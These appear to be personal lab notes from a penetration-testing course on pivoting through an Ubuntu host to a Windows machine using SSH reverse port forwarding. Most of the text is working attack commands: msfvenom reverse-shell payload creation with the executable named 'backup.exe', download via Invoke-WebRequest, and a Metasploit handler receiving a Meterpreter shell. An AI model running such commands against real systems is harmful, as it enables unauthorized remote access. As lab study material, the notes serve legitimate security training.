3a. attempting reverse forwarding

Setting up RDP access to the windows host to download the payload:

[[2a. Questions for dynamic portfwd and socks]]

┌──(root㉿kali)-[~]
└─# ssh -D 9050 ubuntu@10.129.41.152
┌──(root㉿kali)-[~]
└─# proxychains xfreerdp /u:victor /p:'pass@123' /v:172.16.5.19

Creating payload and transferring it to linux host:

┌──(root㉿kali)-[~/cpts/pivot-tunnel/reverse-mod]
└─# msfvenom -p windows/x64/meterpreter/reverse_https lhost=172.16.5.129 -f exe -o backup.exe LPORT=8080
┌──(root㉿kali)-[~/cpts/pivot-tunnel/reverse-mod]
└─# scp backup.exe ubuntu@10.129.41.152:~/
ubuntu@WEB01:~$ ls
backup.exe

Transferring msfvenom to windows host:

ubuntu@WEB01:~$ python3 -m http.server 8123
Serving HTTP on 0.0.0.0 port 8123 (http://0.0.0.0:8123/) ...
Invoke-WebRequest -Uri "http://172.16.5.129:8123/backup.exe" -OutFile "C:\backup.exe"

![](/img/Pasted image 20240824143125.png)

Setting up the connection chain:

┌──(root㉿kali)-[~]
└─# ssh -R 172.16.5.129:8080:0.0.0.0:8000 ubuntu@10.129.41.152 -vN
┌──(root㉿kali)-[~/cpts/pivot-tunnel/reverse-mod]
└─# msfconsole -q
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
msf6 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf6 exploit(multi/handler) > set lport 8000
lport => 8000
msf6 exploit(multi/handler) > run

run the exploit on rdp

[*] Started HTTPS reverse handler on https://0.0.0.0:8000
[!] https://0.0.0.0:8000 handling request from 127.0.0.1; (UUID: ixtw1irw) Without a database connected that payload UUID tracking will not work!
[*] https://0.0.0.0:8000 handling request from 127.0.0.1; (UUID: ixtw1irw) Staging x64 payload (202844 bytes) ...
[!] https://0.0.0.0:8000 handling request from 127.0.0.1; (UUID: ixtw1irw) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 1 opened (127.0.0.1:8000 -> 127.0.0.1:41850) at 2024-08-24 15:35:53 -0400

meterpreter > shell
Process 2092 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.1637]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\victor\Desktop>whoami
whoami
inlanefreight\victor

You cannot use the msfvenom payload we generated WITHOUT METERPRETER!!!!!!!!!!!

That's because you are generating a fully fledged meterpreter payload and using that is extremely different from a simple reverse shell. A simple reverse shell is a just a textual access to the cmd/bash but a fully fledged meterpreter payload contains not just shell access but also all kinds of other commands sending and receiving. In simple terms netcat cannot interact on a text basis with meterpreter. You could use the shell_reverse_tcp payload instead of meterpreter and then receive a connect back to netcat but not with meterpreter/reverse_tcp.

We could probably use:

 msfvenom -p windows/x64/shell_reverse_tcp lhost=172.16.5.129 -f exe -o backup.exe LPORT=8080